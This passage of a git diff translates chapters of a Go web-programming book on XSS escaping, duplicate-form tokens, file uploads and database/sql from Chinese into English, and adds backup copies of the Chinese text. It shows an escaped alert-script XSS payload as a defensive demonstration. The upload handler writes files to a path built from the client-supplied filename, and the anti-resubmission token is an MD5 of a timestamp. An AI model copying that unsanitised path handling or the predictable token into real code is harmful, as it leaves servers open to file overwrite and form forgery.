+现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 + +攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户信息,修改用户设置,盗取/污染cookie和植入恶意广告等。 + +对XSS最佳的防护应该结合以下两种方法:一是验证所有输入数据,有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。 + +那么Go里面是怎么做这个有效防护的呢?Go的html/template里面带有下面几个函数可以帮你转义 + +- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w +- func HTMLEscapeString(s string) string //转义s之后返回结果字符串 +- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串 + + +我们看4.1小节的例子 + + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 + +如果我们输入的username是``,那么我们可以在浏览器上面看到输出如下所示: + +![](images/4.3.escape.png?raw=true) + +图4.3 Javascript过滤之后的输出 + +Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个``看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子: + + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +输出 + + Hello, ! + +或者使用template.HTML类型 + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) + +输出 + + Hello, ! + +转换成`template.HTML`后,变量的内容也不会被转义 + +转义的例子: + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +转义之后的输出: + + Hello, <script>alert('you have been pwned')</script>! + + + +## links + * [目录]() + * 上一节: [验证的输入](<04.2.md>) + * 下一节: [防止多次递交表单](<04.4.md>) diff --git a/en/04.4.md b/en/04.4.md index ea6801e0..93792b5d 100644 --- a/en/04.4.md +++ b/en/04.4.md @@ -1,58 +1,57 @@ -# 4.4 防止多次递交表单 - -不知道你是否曾经看到过一个论坛或者博客,在一个帖子或者文章后面出现多条重复的记录,这些大多数是因为用户重复递交了留言的表单引起的。由于种种原因,用户经常会重复递交表单。通常这只是鼠标的误操作,如双击了递交按钮,也可能是为了编辑或者再次核对填写过的信息,点击了浏览器的后退按钮,然后又再次点击了递交按钮而不是浏览器的前进按钮。当然,也可能是故意的——比如,在某项在线调查或者博彩活动中重复投票。那我们如何有效的防止用户多次递交相同的表单呢? - -解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时,先检查带有该惟一值的表单是否已经递交过了。如果是,拒绝再次递交;如果不是,则处理表单进行逻辑处理。另外,如果是采用了Ajax模式递交表单的话,当表单递交后,通过javascript来禁用表单的递交按钮。 - -我继续拿4.2小节的例子优化: - - 足球 - 篮球 - 网球 - 用户名: - 密码: - - - -我们在模版里面增加了一个隐藏字段`token`,这个值我们通过MD5(时间戳)来获取惟一值,然后我们把这个值存储到服务器端(session来控制,我们将在第六章讲解如何保存),以方便表单提交时比对判定。 - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - } else { - //请求的是登陆数据,那么执行登陆的逻辑判断 - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - //验证token的合法性 - } else { - //不存在token报错 - } - fmt.Println("username length:", len(r.Form["username"][0])) - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 - } - } - -上面的代码输出到页面的源码如下: - -![](images/4.4.token.png?raw=true) - -图4.4 增加token之后在客户端输出的源码信息 - -我们看到token已经有输出值,你可以不断的刷新,可以看到这个值在不断的变化。这样就保证了每次显示form表单的时候都是唯一的,用户递交的表单保持了唯一性。 - -我们的解决方案可以防止非恶意的攻击,并能使恶意用户暂时不知所措,然后,它却不能排除所有的欺骗性的动机,对此类情况还需要更复杂的工作。 - -## links - * [目录]() - * 上一节: [预防跨站脚本](<04.3.md>) - * 下一节: [处理文件上传](<04.5.md>) +# 4.4 Duplicate submissions + +I don't know if you've ever seen some blogs or BBS' that have more than one posts that are exactly the same, but I can tell you that it's because users submitted duplicate post forms. There many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. Other times it's the intentional actions of malicious users. It's easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it. + +The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted. + +Let's improve the example from section 4.2: + + Football + Basketball + Tennis + Username: + Password: + + + +We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted. + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) // get request method + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + // log in request + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + // check token validity + } else { + // give error if no token + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client + } + } + +![](images/4.4.token.png?raw=true) + +Figure 4.4 The content in browser after adding a token + +You can refresh this page and you will see a different token every time. This ensures that every form is unique. + +For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done. + +## Links + +- [Directory](preface.md) +- Previous section: [Cross site scripting](04.3.md) +- Next section: [File upload](04.5.md) diff --git a/en/04.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..bbed11e9 --- /dev/null +++ b/en/04.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,58 @@ +# 4.4 防止多次递交表单 + +不知道你是否曾经看到过一个论坛或者博客,在一个帖子或者文章后面出现多条重复的记录,这些大多数是因为用户重复递交了留言的表单引起的。由于种种原因,用户经常会重复递交表单。通常这只是鼠标的误操作,如双击了递交按钮,也可能是为了编辑或者再次核对填写过的信息,点击了浏览器的后退按钮,然后又再次点击了递交按钮而不是浏览器的前进按钮。当然,也可能是故意的——比如,在某项在线调查或者博彩活动中重复投票。那我们如何有效的防止用户多次递交相同的表单呢? + +解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时,先检查带有该惟一值的表单是否已经递交过了。如果是,拒绝再次递交;如果不是,则处理表单进行逻辑处理。另外,如果是采用了Ajax模式递交表单的话,当表单递交后,通过javascript来禁用表单的递交按钮。 + +我继续拿4.2小节的例子优化: + + 足球 + 篮球 + 网球 + 用户名: + 密码: + + + +我们在模版里面增加了一个隐藏字段`token`,这个值我们通过MD5(时间戳)来获取惟一值,然后我们把这个值存储到服务器端(session来控制,我们将在第六章讲解如何保存),以方便表单提交时比对判定。 + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + //请求的是登陆数据,那么执行登陆的逻辑判断 + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + //验证token的合法性 + } else { + //不存在token报错 + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 + } + } + +上面的代码输出到页面的源码如下: + +![](images/4.4.token.png?raw=true) + +图4.4 增加token之后在客户端输出的源码信息 + +我们看到token已经有输出值,你可以不断的刷新,可以看到这个值在不断的变化。这样就保证了每次显示form表单的时候都是唯一的,用户递交的表单保持了唯一性。 + +我们的解决方案可以防止非恶意的攻击,并能使恶意用户暂时不知所措,然后,它却不能排除所有的欺骗性的动机,对此类情况还需要更复杂的工作。 + +## links + * [目录]() + * 上一节: [预防跨站脚本](<04.3.md>) + * 下一节: [处理文件上传](<04.5.md>) diff --git a/en/04.5.md b/en/04.5.md index 0131be01..25803e49 100644 --- a/en/04.5.md +++ b/en/04.5.md @@ -1,156 +1,154 @@ -# 4.5 处理文件上传 -你想处理一个由用户上传的文件,比如你正在建设一个类似Instagram的网站,你需要存储用户拍摄的照片。这种需求该如何实现呢? - -要使表单能够上传文件,首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况: - - application/x-www-form-urlencoded 表示在发送前编码所有字符(默认) - multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。 - text/plain 空格转换为 "+" 加号,但不对特殊字符编码。 - -所以,创建新的表单html文件, 命名为upload.gtpl, html代码应该类似于: - - - - 上传文件 - - -
- - - -
- - - -在服务器端,我们增加一个handlerFunc: - - http.HandleFunc("/upload", upload) - - // 处理/upload 逻辑 - func upload(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("upload.gtpl") - t.Execute(w, token) - } else { - r.ParseMultipartForm(32 << 20) - file, handler, err := r.FormFile("uploadfile") - if err != nil { - fmt.Println(err) - return - } - defer file.Close() - fmt.Fprintf(w, "%v", handler.Header) - f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录 - if err != nil { - fmt.Println(err) - return - } - defer f.Close() - io.Copy(f, file) - } - } - -通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。 - ->获取其他非文件字段信息的时候就不需要调用`r.ParseForm`,因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。 - -通过上面的实例我们可以看到我们上传文件主要三步处理: - -1. 表单中增加enctype="multipart/form-data" -2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中 -3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。 - -文件handler是multipart.FileHeader,里面存储了如下结构信息 - - type FileHeader struct { - Filename string - Header textproto.MIMEHeader - // contains filtered or unexported fields - } - -我们通过上面的实例代码打印出来上传文件的信息如下 - -![](images/4.5.upload2.png?raw=true) - -图4.5 打印文件上传后服务器端接受的信息 - -## 客户端上传文件 - -我们上面的例子演示了如何通过表单上传文件,然后在服务器端处理文件,其实Go支持模拟客户端表单功能支持文件上传,详细用法请看如下示例: - - package main - - import ( - "bytes" - "fmt" - "io" - "io/ioutil" - "mime/multipart" - "net/http" - "os" - ) - - func postFile(filename string, targetUrl string) error { - bodyBuf := &bytes.Buffer{} - bodyWriter := multipart.NewWriter(bodyBuf) - - //关键的一步操作 - fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) - if err != nil { - fmt.Println("error writing to buffer") - return err - } - - //打开文件句柄操作 - fh, err := os.Open(filename) - if err != nil { - fmt.Println("error opening file") - return err - } - defer fh.Close() - - //iocopy - _, err = io.Copy(fileWriter, fh) - if err != nil { - return err - } - - contentType := bodyWriter.FormDataContentType() - bodyWriter.Close() - - resp, err := http.Post(targetUrl, contentType, bodyBuf) - if err != nil { - return err - } - defer resp.Body.Close() - resp_body, err := ioutil.ReadAll(resp.Body) - if err != nil { - return err - } - fmt.Println(resp.Status) - fmt.Println(string(resp_body)) - return nil - } - - // sample usage - func main() { - target_url := "http://localhost:9090/upload" - filename := "./astaxie.pdf" - postFile(filename, target_url) - } - - -上面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。 - ->如果你还有其他普通字段例如username之类的需要同时写入,那么可以调用multipart的WriteField方法写很多其他类似的字段。 - -## links - * [目录]() - * 上一节: [防止多次递交表单](<04.4.md>) - * 下一节: [小结](<04.6.md>) +# 4.5 File upload + +Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality? + +You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property: + + application/x-www-form-urlencoded Transcode all characters before uploading (default). + multipart/form-data No transcoding. You must use this value when your form has file upload controls. + text/plain Convert spaces to "+", but no transcoding for special characters. + +Therefore, the HTML content of a file upload form should look like this: + + + + Upload file + + +
+ + + +
+ + + +We need to add a function on the server side to handle this form. + + http.HandleFunc("/upload", upload) + + // upload logic + func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } + } + +As you can see, we need to call `r.ParseMultipartForm` for uploading files. The function `maxMemory` argument. After you call `ParseMultipartForm`, the file will be saved in the server memory with `maxMemory` size. If the file size is larger than `maxMemory`, the rest of the data will be saved in a system temporary file. You can use `r.FormFile` to get the file handle and use `io.Copy` to save to your file system. + +You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also, calling `ParseMultipartForm` once is enough -multiple calls make no difference. + +We use three steps for uploading files as follows: + +1. Add `enctype="multipart/form-data"` to your form. +2. Call `r.ParseMultipartForm` on the server side to save the file either to memory or to a temporary file. +3. Call `r.FormFile` to get the file handle and save to the file system. + +The file handler is the `multipart.FileHeader`. It uses the following struct: + + type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields + } + +![](images/4.5.upload2.png?raw=true) + +Figure 4.5 Print information on server after receiving file. + +## Clients upload files + +I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well. + + package main + + import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" + ) + + func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + // this step is very important + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + // open file handle + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil + } + + // sample usage + func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) + } + +The above example shows you how to use a client to upload files. It uses `multipart.Write` to write files into cache and sends them to the server through the POST method. + +If you have other fields that need to write into data, like username, call `multipart.WriteField` as needed. + +## Links + +- [Directory](preface.md) +- Previous section: [Duplicate submissions](04.4.md) +- Next section: [Summary](04.6.md) diff --git a/en/04.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..4e8ff246 --- /dev/null +++ b/en/04.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,156 @@ +# 4.5 处理文件上传 +你想处理一个由用户上传的文件,比如你正在建设一个类似Instagram的网站,你需要存储用户拍摄的照片。这种需求该如何实现呢? + +要使表单能够上传文件,首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况: + + application/x-www-form-urlencoded 表示在发送前编码所有字符(默认) + multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。 + text/plain 空格转换为 "+" 加号,但不对特殊字符编码。 + +所以,创建新的表单html文件, 命名为upload.gtpl, html代码应该类似于: + + + + 上传文件 + + +
+ + + +
+ + + +在服务器端,我们增加一个handlerFunc: + + http.HandleFunc("/upload", upload) + + // 处理/upload 逻辑 + func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此处假设当前目录下已存在test目录 + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } + } + +通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。 + +>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`,因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。 + +通过上面的实例我们可以看到我们上传文件主要三步处理: + +1. 表单中增加enctype="multipart/form-data" +2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中 +3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。 + +文件handler是multipart.FileHeader,里面存储了如下结构信息 + + type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields + } + +我们通过上面的实例代码打印出来上传文件的信息如下 + +![](images/4.5.upload2.png?raw=true) + +图4.5 打印文件上传后服务器端接受的信息 + +## 客户端上传文件 + +我们上面的例子演示了如何通过表单上传文件,然后在服务器端处理文件,其实Go支持模拟客户端表单功能支持文件上传,详细用法请看如下示例: + + package main + + import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" + ) + + func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + //关键的一步操作 + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + //打开文件句柄操作 + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + defer fh.Close() + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil + } + + // sample usage + func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) + } + + +上面的例子详细展示了客户端如何向服务器上传一个文件的例子,客户端通过multipart.Write把文件的文本流写入一个缓存中,然后调用http的Post方法把缓存传到服务器。 + +>如果你还有其他普通字段例如username之类的需要同时写入,那么可以调用multipart的WriteField方法写很多其他类似的字段。 + +## links + * [目录]() + * 上一节: [防止多次递交表单](<04.4.md>) + * 下一节: [小结](<04.6.md>) diff --git a/en/04.6.md b/en/04.6.md index dd50c697..d30aed1d 100644 --- a/en/04.6.md +++ b/en/04.6.md @@ -1,9 +1,11 @@ -# 4.6 小结 -这一章里面我们学习了Go如何处理表单信息,我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。 - -通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。 - -## links - * [目录]() - * 上一节: [处理文件上传](<04.5.md>) - * 下一章: [访问数据库](<05.0.md>) +# 4.6 Summary + +In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that verifying user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions. + +I hope that you now know more about the communication process between client and server. + +## Links + +- [Directory](preface.md) +- Previous section: [File upload](04.5.md) +- Next chapter: [Database](05.0.md) diff --git a/en/04.6.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.6.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..ee95aa0d --- /dev/null +++ b/en/04.6.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,9 @@ +# 4.6 小结 +这一章里面我们学习了Go如何处理表单信息,我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息,考虑到网站安全的重要性,数据过滤就显得相当重要了,因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤,顺带讲一下Go对字符串的正则处理。 + +通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。 + +## links + * [目录]() + * 上一节: [处理文件上传](<04.5.md>) + * 下一章: [访问数据库](<05.0.md>) diff --git a/en/05.0.md b/en/05.0.md index 0f40e7b2..ba0e6af1 100644 --- a/en/05.0.md +++ b/en/05.0.md @@ -1,16 +1,13 @@ -# 5 访问数据库 -对许多Web应用程序而言,数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息,比如用户信息、产品目录或者新闻列表等。 - -Go没有内置的驱动支持任何的数据库,但是Go定义了database/sql接口,用户可以基于驱动接口开发相应数据库的驱动,5.1小节里面介绍Go设计的一些驱动,介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用,5.5小节介绍我自己开发一个ORM库,基于database/sql标准接口开发的,可以兼容几乎所有支持database/sql的数据库驱动,可以方便的使用Go style来进行数据库操作。 - -目前NOSQL已经成为Web开发的一个潮流,很多应用采用了NOSQL作为数据库,而不是以前的缓存,5.6小节将介绍MongoDB和Redis两种NOSQL数据库。 - ->[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。 - -## 目录 - ![](images/navi5.png?raw=true) - -## links - * [目录]() - * 上一章: [第四章总结](<04.6.md>) - * 下一节: [database/sql接口](<05.1.md>) +# 5 Database + +For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. + +Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i'll present the ORM that i've developed which is based on the `database/sql` interface standard. It's compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. + +NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) diff --git a/en/05.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/05.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..c758b235 --- /dev/null +++ b/en/05.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,16 @@ +# 5 访问数据库 +对许多Web应用程序而言,数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息,比如用户信息、产品目录或者新闻列表等。 + +Go没有内置的驱动支持任何的数据库,但是Go定义了database/sql接口,用户可以基于驱动接口开发相应数据库的驱动,5.1小节里面介绍Go设计的一些驱动,介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用,5.5小节介绍我自己开发一个ORM库,基于database/sql标准接口开发的,可以兼容几乎所有支持database/sql的数据库驱动,可以方便的使用Go style来进行数据库操作。 + +目前NOSQL已经成为Web开发的一个潮流,很多应用采用了NOSQL作为数据库,而不是以前的缓存,5.6小节将介绍MongoDB和Redis两种NOSQL数据库。 + +>[Go database/sql tutorial](http://go-database-sql.org/) 里提供了惯用的范例及详细的说明。 + +## 目录 + ![](images/navi5.png?raw=true) + +## links + * [目录]() + * 上一章: [第四章总结](<04.6.md>) + * 下一节: [database/sql接口](<05.1.md>) diff --git a/en/05.1.md b/en/05.1.md index f1842e4a..b38540f8 100644 --- a/en/05.1.md +++ b/en/05.1.md @@ -1,204 +1,204 @@ -# 5.1 database/sql接口 -Go与PHP不同的地方是Go官方没有提供数据库驱动,而是为开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做有一个好处,只要是按照标准接口开发的代码, 以后需要迁移数据库时,不需要任何修改。那么Go都定义了哪些标准接口呢?让我们来详细的分析一下 - -## sql.Register -这个存在于database/sql的函数是用来注册数据库驱动的,当第三方开发者开发数据库驱动时,都会实现init函数,在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。 - -我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的: - - //https://github.com/mattn/go-sqlite3驱动 - func init() { - sql.Register("sqlite3", &SQLiteDriver{}) - } - - //https://github.com/mikespook/mymysql驱动 - // Driver automatically registered in database/sql - var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} - func init() { - Register("SET NAMES utf8") - sql.Register("mymysql", &d) - } - -我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。 - - var drivers = make(map[string]driver.Driver) - - drivers[name] = driver - -因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。 - ->在我们使用database/sql接口和第三方库的时候经常看到如下: - -> import ( -> "database/sql" -> _ "github.com/mattn/go-sqlite3" -> ) - ->新手都会被这个`_`所迷惑,其实这个就是Go设计的巧妙之处,我们在变量赋值的时候经常看到这个符号,它是用来忽略变量赋值的占位符,那么包引入用到这个符号也是相似的作用,这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。 - ->我们在2.3节流程和函数一节中介绍过init函数的初始化过程,包在引入的时候会自动调用包的init函数以完成对包的初始化。因此,我们引入上面的数据库驱动包之后会自动去调用init函数,然后在init函数里面注册这个数据库驱动,这样我们就可以在接下来的代码中直接使用这个数据库驱动了。 - -## driver.Driver -Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。 - - type Driver interface { - Open(name string) (Conn, error) - } - -返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误 - - ... - go goroutineA (Conn) //执行查询操作 - go goroutineB (Conn) //执行插入操作 - ... - -上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。 - -第三方驱动都会定义这个函数,它会解析name参数来获取相关数据库的连接信息,解析完成后,它将使用此信息来初始化一个Conn并返回它。 - -## driver.Conn -Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。 - - type Conn interface { - Prepare(query string) (Stmt, error) - Close() error - Begin() (Tx, error) - } - -Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。 - -Close函数关闭当前的连接,执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool,所以你不用再去实现缓存conn之类的,这样会容易引起问题。 - 